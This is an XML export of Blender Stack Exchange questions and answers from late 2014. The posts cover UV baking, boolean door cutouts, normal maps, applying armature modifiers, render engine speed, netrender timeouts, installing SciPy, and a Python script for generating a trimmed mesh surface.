  <row Id="18487" PostTypeId="2" ParentId="18470" CreationDate="2014-11-03T18:42:44.867" Score="1" Body="&lt;p&gt;ok I think I found &lt;em&gt;one&lt;/em&gt; acceptable solution :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AxT8X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first, I solve the scale problem with the coloramp at the exit of the musgrave texture node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;second, for the vector, I normalize it. If I'm not wrong, I guess between the range (for x and y) [-1,1] it would give a good result, beyond I guess it will not, so scaling the vector would not leads to a good solution. However, I'm not sure at all, so if somebody can confirm or infirm my assertion I would appreciate that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second solution, I guess it's &lt;em&gt;the&lt;/em&gt; solution!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Se6uq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;x&lt;/em&gt; is used as an angular variable, &lt;em&gt;y&lt;/em&gt; is used as a radial variable. The key was to use gradient texture, these nodes give bounded values, so mapping can help to scale the disk. This solution answer fully to my needs, first it uses vector input and second I can scale musgrave. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(My musgrave setting is not periodic)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I shall wait 48H before selecting my answer as solution, so anybody can post some solution, maybe more convenient than mine!&lt;/p&gt;&#xA;" OwnerUserId="6220" LastEditorUserId="6220" LastEditDate="2014-11-04T20:04:50.903" LastActivityDate="2014-11-04T20:04:50.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18488" PostTypeId="2" ParentId="18485" CreationDate="2014-11-03T19:02:57.940" Score="3" Body="&lt;p&gt;There were a couple of things I changed with your file, so here's my edited version: &lt;a href=&quot;https://drive.google.com/file/d/0B2YsjX3U74sedUNQc3U3VGp5VjQ/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Edited .blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off there were a few things you did wrong with your normal map:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When using an image for the normal map you have to set the Texture node to non-color data mode.&lt;/li&gt;&#xA;&lt;li&gt;Then, you don't plug the image texture into the Displacement input of the material node(only takes B/W data), but instead into the Normal input of your respective shader.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now that we've covered that it becomes very easy to achieve what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You plug the normal map only into your pebble shader, so that only the pebbles get bump mapping effects, and the mask you already created does the rest. For that I added a second vector input to you group nodes so that they can receive normal mapping data as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you are using only one UV map, a single UV map node is usually enough.&lt;/p&gt;&#xA;" OwnerUserId="6310" LastActivityDate="2014-11-03T19:02:57.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18490" PostTypeId="2" ParentId="18481" CreationDate="2014-11-03T20:30:50.087" Score="0" Body="&lt;p&gt;My first approach would be to attempt to match the camera in blender.  If your camera is part of the presets in blender I would try that first.  If you need more accuracy have a look at &lt;a href=&quot;http://home.metrocast.net/~chipartist/BlensesSite/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.  It's a bit old so I'm not sure it will work still but worth a look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that approach doesn't work/isn't accurate enough I think you are missing out some parts that are vital in a physical camera that cause DOF (Depth of Field).  Understand why DOF occurs in physical cameras in order to emulate it in blender, read &lt;a href=&quot;http://berniesumption.com/photography/depth-of-field-for-geeks/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;/google how camera lenses and apertures work.  The main thing you are missing is the aperture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a chance that the way LuxRender works won't cause this type of blur but I would have thought, as you do, that it should.&lt;/p&gt;&#xA;" OwnerUserId="1600" LastActivityDate="2014-11-03T20:30:50.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18492" PostTypeId="1" AcceptedAnswerId="18493" CreationDate="2014-11-03T21:14:27.697" Score="1" ViewCount="1663" Body="&lt;p&gt;Okay, so I was watching Andrew Price's tutorial for cycles baking (&lt;a href=&quot;https://www.youtube.com/watch?v=sB09T--_ZvU&quot; rel=&quot;nofollow&quot;&gt;Found Here&lt;/a&gt;)&lt;br&gt;&#xA;And I was wanting to do that with the floorboard addon (&lt;a href=&quot;https://www.youtube.com/watch?v=bU171FTMbEk&quot; rel=&quot;nofollow&quot;&gt;More on that Here&lt;/a&gt;)&lt;br&gt;&#xA;And the addon creates a uv layout for wood textures, but it's random for realistic rendering. Anyways, I want to bake the material, but I don't know how to do that with an object that already has a uv layout.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="599" LastEditDate="2014-11-03T21:27:05.803" LastActivityDate="2014-11-04T01:37:38.573" Title="Cycles bake with separate uv maps?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18493" PostTypeId="2" ParentId="18492" CreationDate="2014-11-03T21:25:36.887" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/15514/599&quot;&gt;my answer here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A screenshot just to show how things are initially:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AfE6f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Create a new UV map in &lt;em&gt;Properties &gt; Object data&lt;/em&gt;, then with it selected, edit or re-unwrap to make the second UV map layed out how&#xA;  you want it:&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In your case, &lt;em&gt;Lightmap pack&lt;/em&gt; or &lt;em&gt;Smart UV unwrap&lt;/em&gt; will probably do fine for the unwrap method.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kx4gQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;&lt;p&gt;Create a new image to bake to by pressing &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; in the image editor, or by pressing &lt;em&gt;new&lt;/em&gt; in&#xA;  &lt;em&gt;header &gt; Image&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v5DHf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Add a texture node to your material(s), set to the image you want to bake to.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here set the &lt;em&gt;bake type&lt;/em&gt; as combined, then select the texture node and press &lt;em&gt;bake&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/52EaM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After it's baked, remember to save the image. &lt;kbd&gt;F3&lt;/kbd&gt; to save it&#xA;  to disk, or &lt;em&gt;header &gt; image &gt; Pack as PNG&lt;/em&gt; to pack it into the .blend&#xA;  as a png.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-11-04T01:37:38.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18494" PostTypeId="1" CreationDate="2014-11-03T22:18:56.600" Score="1" ViewCount="1128" Body="&lt;p&gt;How would I go about making a map that shows the player's position in world? &#xA;Similar to GTA types of games.&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="2617" LastEditDate="2014-11-05T16:39:38.243" LastActivityDate="2014-11-05T16:39:38.243" Title="BGE: How to make a minimap that shows the player's position?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-05T22:08:57.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="18495" PostTypeId="1" AcceptedAnswerId="18496" CreationDate="2014-11-03T22:32:01.390" Score="2" ViewCount="544" Body="&lt;p&gt;I want to 3D print several pawns. I need them to be in different poses, but be the same general character. I can achieve this by re-meshing the posed object with another object, but I would like a less time consuming way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I pose a mesh using an armature, then have the mesh stay that way, even without the armature which needs to be deleted for my print? preferably this would create a new mesh that I could print as my pawn(s).&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2020-08-12T19:45:42.900" Title="Is there a way to deform a model and then have the mesh stay that way, even without an armature?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;armature&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18496" PostTypeId="2" ParentId="18495" CreationDate="2014-11-03T22:32:58.883" Score="5" Body="&lt;p&gt;Yes, you can apply the armature modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pu3NL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will fix the mesh into it's pose, so you probably want to do this on a  duplicate of the model.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-03T22:32:58.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18498" PostTypeId="2" ParentId="18438" CreationDate="2014-11-03T23:39:34.247" Score="8" Body="&lt;p&gt;You can use the &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/booleans.html#boolean-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean modifier.&lt;/a&gt;&lt;/em&gt;&#xA;First create a cube, then scale it so that it intersects with where you want the door to be.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/00rkx.png&quot; alt=&quot;The door will be cut where the red line is.&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The hole will be cut where the red line is. Next, click your building and add a boolean modifier. Set it to difference instead of intersect, then set the object to the cube you just created.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kL8Dh.png&quot; alt=&quot;Adding a boolean modifier&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now click apply, and delete the cube used to cut the door. You should end up with something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5DcIN.png&quot; alt=&quot;There's a hole in my house!&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you enter into edit mode, the extra faces created should automatically be selected. If you want, you can delete the extra faces and get something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nY0sF.png&quot; alt=&quot;Delete extra faces&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To do what you would want, you could select the vertices around the first doorway, press &lt;kbd&gt;F&lt;/kbd&gt; to make it a face, then press &lt;kbd&gt;P&lt;/kbd&gt; and select &lt;em&gt;by selection&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7dTiK.png&quot; alt=&quot;Separate the door from the rest of the mesh.&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This has created a plane that has the exact dimensions of your door. It is a separate object. Press &lt;kbd&gt;Tab&lt;/kbd&gt; to go into object mode, click the door plane, and press &lt;kbd&gt;Tab&lt;/kbd&gt; again, to enter edit mode. Then select everything if it is not already selected, then press &lt;kbd&gt;E&lt;/kbd&gt; for extrude.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XBOYG.png&quot; alt=&quot;Extruding the door&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can then click once it is thick enough, then go back to Object Mode. Move the cube so that it is intersecting with where the door should be projected onto. Then do the same thing I mentioned above with Boolean, only use the cube you created with the door instead of a new cube.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3D5OI.png&quot; alt=&quot;Boolean with cube created from door&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LWPFU.png&quot; alt=&quot;Two identical doors&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tada, two identical doorways!&lt;/p&gt;&#xA;" OwnerUserId="5708" LastEditorUserId="15924" LastEditDate="2020-12-26T21:35:50.817" LastActivityDate="2020-12-26T21:35:50.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18501" PostTypeId="1" AcceptedAnswerId="18502" CreationDate="2014-11-04T03:00:35.593" Score="1" ViewCount="1192" Body="&lt;p&gt;I'm something of a noob to blender.  I appended a model of an engine to the 2nd layer of my project, and for some reason, no objects from this model show up when I render.  If I add a cube to the 2nd layer, the cube shows up behind an outline of the engine, but not the engine itself.  The object in layer 1 shows up fine.  For the life of me I cannot find why the objects from this model don't show up.  I have the render visibility turned on for all of them, and I can't find anything else that would change visibility (ie the layer is lit, etc.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point out to me what I'm missing? Its probably something obvious.  Here is the file: &lt;a href=&quot;https://www.dropbox.com/s/5q1lnq91oxtpkbg/Blend%20for%20SE.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/5q1lnq91oxtpkbg/Blend%20for%20SE.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7833" LastActivityDate="2014-11-04T03:23:08.273" Title="Appended layer not rendering any objects" Tags="&lt;rendering&gt;&lt;render-layers&gt;&lt;append&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18502" PostTypeId="2" ParentId="18501" CreationDate="2014-11-04T03:23:08.273" Score="1" Body="&lt;p&gt;Your material is set up for cycles rendering but you have it set to blender render at the top. Then the object in layer 1 is set up for blender internal rendering.&lt;/p&gt;&#xA;" OwnerUserId="7832" LastActivityDate="2014-11-04T03:23:08.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18504" PostTypeId="1" CreationDate="2014-11-04T07:37:09.647" Score="0" ViewCount="59" Body="&lt;p&gt;I import an 3D object from OBJ file, and the relative .mtl and map image are loaded automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My UV map image is messy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qi43Z.jpg&quot; alt=&quot;Messy UV Map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use other unwrap way or make seam by myself. But when I use other unwrap way, only triangle mesh change, UV map is still the same, so object renders incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QVqj5.jpg&quot; alt=&quot;Use Smart UV Project&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not good at Blender... Is it possible to move UV map with the triangle mesh, and generate new UV map?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7834" LastEditorUserId="7834" LastEditDate="2014-11-04T08:08:14.563" LastActivityDate="2014-11-04T08:08:14.563" Title="How to change UV map loaded from obj when change unwrap way" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2014-11-05T06:57:42.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="18506" PostTypeId="1" CreationDate="2014-11-04T09:10:53.910" Score="14" ViewCount="16354" Body="&lt;p&gt;I have an object with a mirror modifier in X and Y direction. Is it possible to unwrap all the 4 quadrants as a big single UV map and then have this UV map to apply to the object as it was a single non mirrored object (Same as apply in the mirror modifier), without using the Apply button first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wan't to be able to edit the mesh with the Mirror modifier later on, but have the UV map seeing it as one single object.&lt;/p&gt;&#xA;" OwnerUserId="639" LastActivityDate="2015-06-10T10:45:00.260" Title="Full UV wrapping on a mirrored Mesh" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;mirror&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18508" PostTypeId="2" ParentId="18425" CreationDate="2014-11-04T10:12:25.147" Score="0" Body="&lt;p&gt;Set up the VSE and add the compositor scene as a trip. This will buffer if you play back with AV sync set to off in the timeline. After playing once the rendered RAM buffered animation will playback at full speed. You can run out of memory this way, increase the Sequencer memory in User Prefs. And you can reduce the VSE scene scale to render smaller frames. &lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-11-04T10:12:25.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18509" PostTypeId="1" CreationDate="2014-11-04T10:36:54.963" Score="0" ViewCount="94" Body="&lt;p&gt;Thanks for taking notice, but in my original question I stated (I have put the operative part in bold font): &#xA;&quot;I would like to use SciPy special functions in Blender scripts, e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from scipy import special as spe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running Blender 2.70a in OSX 10.8 on a MacBook Air, and making meshes from mathematical expressions. I have looked &lt;a href=&quot;https://blender.stackexchange.com/questions/5287/using-3rd-party-python-modules-scipy&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/3321/blender-wont-import-my-custom-module-importerror-no-module-named-mymodule&quot;&gt;here&lt;/a&gt; &lt;strong&gt;but I am not experienced enough to do this yet.&lt;/strong&gt; Is it possible to have an answer of the format &quot;download X file from Y site and put it in Z folder (for example /Applications/BlenderApplication/blender.app/Contents/MacOS/2.70/python/lib...), and possibly use the Blender User Preference/file tab to link to what I have downloaded?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my question was removed. I see the file scipy-0.14.0-py2.7-python.org-macosx10.6.dmg on sorcefogrge.net and I have downloaded it, but I need to understand exactly how so use this file to &quot;install&quot; it into the blender.app/Contents/MacOS/2.70/python/lib/python3.3 folder safely. If I do something wrong I am not in a position to know how to repair the damage. Is it really OK to install scipy for python 2.7 inside the 3.3 folder? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the scipy.special submodule, another submodule would be helpful, so I need to use much of the python 2.7 scipy:&#xA;&quot;Being able to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from scipy import fsolve&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would also help me &lt;a href=&quot;https://blender.stackexchange.com/questions/18513/script-method-to-trim-mesh-objects&quot;&gt;here.&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-11-04T23:41:47.943" Title="Need easy method to make SciPy available in my scripts" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-04T21:49:46.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="18510" PostTypeId="1" AcceptedAnswerId="18511" CreationDate="2014-11-04T12:29:41.137" Score="4" ViewCount="1684" Body="&lt;p&gt;I have an object with a solid plane and multiple holes in the plane: &lt;img src=&quot;https://i.stack.imgur.com/kBEdB.jpg&quot; alt=&quot;holes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to remove only a single one of these holes. How to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="7836" LastActivityDate="2014-11-04T20:52:44.043" Title="How to remove a hole from a solid plane?" Tags="&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18511" PostTypeId="2" ParentId="18510" CreationDate="2014-11-04T13:41:20.073" Score="0" Body="&lt;p&gt;Select the faces around the holes that you dont want press x and then select the edge loop and press f for fill the place again.&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="5980" LastEditDate="2014-11-04T20:52:44.043" LastActivityDate="2014-11-04T20:52:44.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18512" PostTypeId="1" CreationDate="2014-11-04T13:55:54.070" Score="2" ViewCount="1047" Body="&lt;p&gt;Is it possible to plot a graph in blender from a formula using python, suitable for printing on A4; and if so, could someone point me in the direction of a tutorial?  &lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="12" LastEditDate="2014-11-06T20:57:28.637" LastActivityDate="2014-11-06T20:57:28.637" Title="Graph in blender" Tags="&lt;modeling&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18513" PostTypeId="1" AcceptedAnswerId="18585" CreationDate="2014-11-04T14:46:50.420" Score="1" ViewCount="272" Body="&lt;p&gt;I went away and learned some OO in python, and now I will pick up where I left off - creating mesh objects from mathematical expressions. In the simple test below, I would like to cleanly trim the tops and bottoms of the surfaces where they would intersect planes at Z = +1 and Z = -1. So far I just append faces which have at least one vertex inside. (there are probably unused vertices which I should clean up at some point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping there is a simple way to trim this (or future) object at Z = +/-1 within the script. There are probably a number of possible ways to do this - what would be most helpful is both a few lines of script and a pointer to the relevant documentation on mesh object methods so I can dig in and learn. Any other pointers/suggestions would be helpful. I hope to plot some pretty complicated stuff, so helping me starting off on the right track would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: An alternative approach would be to calculate the exact intersections myself, but for math more complicated than just np.tan() I'd have to use something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from scipy import fsolve&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to find the intersection with the planes, and that's &lt;a href=&quot;https://blender.stackexchange.com/questions/18509/need-easy-method-to-make-scipy-available-in-my-scripts&quot;&gt;another issue&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;&#xA;pi = np.pi&#xA;&#xA;nx, ny = 40, 21&#xA;x = pi * np.linspace(-0.475, 1.475, nx)&#xA;y = pi * np.linspace( 0.0,   2.0,   ny)&#xA;X, Y = np.meshgrid(x, y)&#xA;Z =  np.tan(X + Y)&#xA;&#xA;verts = []    &#xA;for iy in range(ny):&#xA;    for ix in range(nx):&#xA;        vert = (X[iy,ix], Y[iy,ix], Z[iy,ix])&#xA;        verts.append(vert)&#xA;&#xA;lo, hi = -1.0, 1.0&#xA;&#xA;faces = []&#xA;for iy in range(ny-1):&#xA;    for ix in range(nx-1):&#xA;        i = ix + nx*iy&#xA;        face = (int(i), int(i+1), int(i+nx+1), int(i+nx))&#xA;        highpoint = max([verts[iv][2] for iv in face])   &#xA;        lowpoint  = min([verts[iv][2] for iv in face])&#xA;        # if face has at least one vertex inside hi-lo range, &#xA;        # but doesn't cross Z=0 (by more than a little)&#xA;        if (highpoint &amp;gt; lo and lowpoint &amp;lt; hi) and highpoint*lowpoint &amp;gt;= -0.1: &#xA;            faces.append(face)&#xA;&#xA;# alternatively could I remove them later using some things such as&#xA;# faces.pop() and face.co[:][2]???&#xA;&#xA;meshthing = bpy.data.meshes.new(&quot;Tan&quot;)&#xA;object = bpy.data.objects.new(&quot;Tan&quot;, meshthing)&#xA;&#xA;object.location = (0,0,0)  #bpy.context.scene.cursor_location&#xA;bpy.context.scene.objects.link(object)&#xA;&#xA;meshthing.from_pydata(verts,[],faces)&#xA;#meshthing.update(calc_edges=True)&#xA;&#xA;mat = bpy.data.materials.new(&quot;PKHG&quot;)&#xA;mat.diffuse_color = (float(1.5),0.0,1.0)&#xA;mat.specular_color = (200.0,1.0,100.0)&#xA;object.active_material = mat&#xA;&#xA;mypolys = meshthing.polygons&#xA;for p in mypolys:&#xA;    p.use_smooth = True&#xA;&#xA;# this helps ensure it's visible and selected&#xA;bpy.data.objects['Tan'].select = False&#xA;bpy.data.objects['Tan'].select = True&#xA;&#xA;print_info = False&#xA;for item in bpy.data.objects:&#xA;    print(item.name)&#xA;    if item.type == 'MESH' and print_info: &#xA;        for vertex in item.data.vertices:&#xA;            print(vertex.co)&#xA;        # This doesn't work yet&#xA;        for face in item.data.tessfaces:&#xA;            print(face.co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-11-06T16:38:21.913" Title="Script method to trim mesh objects" Tags="&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18515" PostTypeId="2" ParentId="18512" CreationDate="2014-11-04T15:10:39.973" Score="5" Body="&lt;p&gt;If you mean a &lt;em&gt;mathematical&lt;/em&gt; formula, then the &lt;em&gt;add 3d function surface&lt;/em&gt; addon sounds like it is exactly what you are looking for.  I believe it is included in blender by default, so all you have to do is enable it under &lt;em&gt;user preferences &gt; addons &gt; add mesh&lt;/em&gt;.  Once enabled, there will be an option to add a 3d surface under the &lt;em&gt;add mesh&lt;/em&gt; menu (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;).  Then press &lt;kbd&gt;F6&lt;/kbd&gt; (or go to the toolbar on the left side of the 3d view) and you can modify the parametric functions in u and v for x, y, and z.  The documentation for this addon can be found &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_3d_Function_Surface&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-11-04T15:10:39.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18516" PostTypeId="1" CreationDate="2014-11-04T16:35:06.223" Score="2" ViewCount="287" Body="&lt;p&gt;I have a setup of 4 slaves and the master for the netrender. I also have slave on the master itself. After sending the job, through client, frames are properly dispatched and we could see the blender render process on each machine. After some time, all slaves start throwing timeout errors except for the slave on the master. Eventually the only slave working remains the slave on the master machine. I guess it is something related to http timeout. I couldn't figure out why this is happening. any help is appreciated. I could also edit master.py or any other script as a workaround. System Ubuntu, blender 2.7 on all machines.&lt;/p&gt;&#xA;" OwnerUserId="7839" LastEditorUserId="241" LastEditDate="2014-11-04T16:51:28.437" LastActivityDate="2019-07-05T15:12:29.093" Title="Blender slaves timeout after rendring few or part of frame" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18517" PostTypeId="1" AcceptedAnswerId="18518" CreationDate="2014-11-04T17:01:29.897" Score="2" ViewCount="2350" Body="&lt;p&gt;I wonder which render engine is faster? I mean, you have 2 identical scenes and render it using BI and Cycles. Which image will be generated faster? What will be the time difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any site (please post a link) which shows the results of such comparison?&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-11-04T21:41:22.190" Title="Which render engine renders faster? Blender Internal or Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18518" PostTypeId="2" ParentId="18517" CreationDate="2014-11-04T17:20:17.030" Score="8" Body="&lt;p&gt;Blender internal is much faster is the jist of the situation. However the topic of which is the fastest is much more complex than that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender internal renders completely differently, using a 'biased' method. This means it is biased as to which light rays it follows (the important ones). This is generally faster and cleaner than cycles renderings but less realistic. It uses short cuts to simulate the flow of light. Its lighting model is more simplistic and easier to compute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles is 'unbiased'. It shoots light rays everywhere and you have to wait for the image to become acceptable in terms of random noise. If noise is okay in your image, it may be possible that cycles can render faster than blender internal. Most people dislike noise in their images, and to clean up all the noise it can take a very long time, especially for certain light rays like reflections and refractions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing the two in terms of performance is not really a useful exercise because they will give different results. It will be comparing apples to oranges best case. You use cycles if you want very close to realism. Blender internal can be used for less realistic rendering. Blender internal can be made more realistic if you have a great deal of skill.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="55" LastEditDate="2014-11-04T21:41:22.190" LastActivityDate="2014-11-04T21:41:22.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
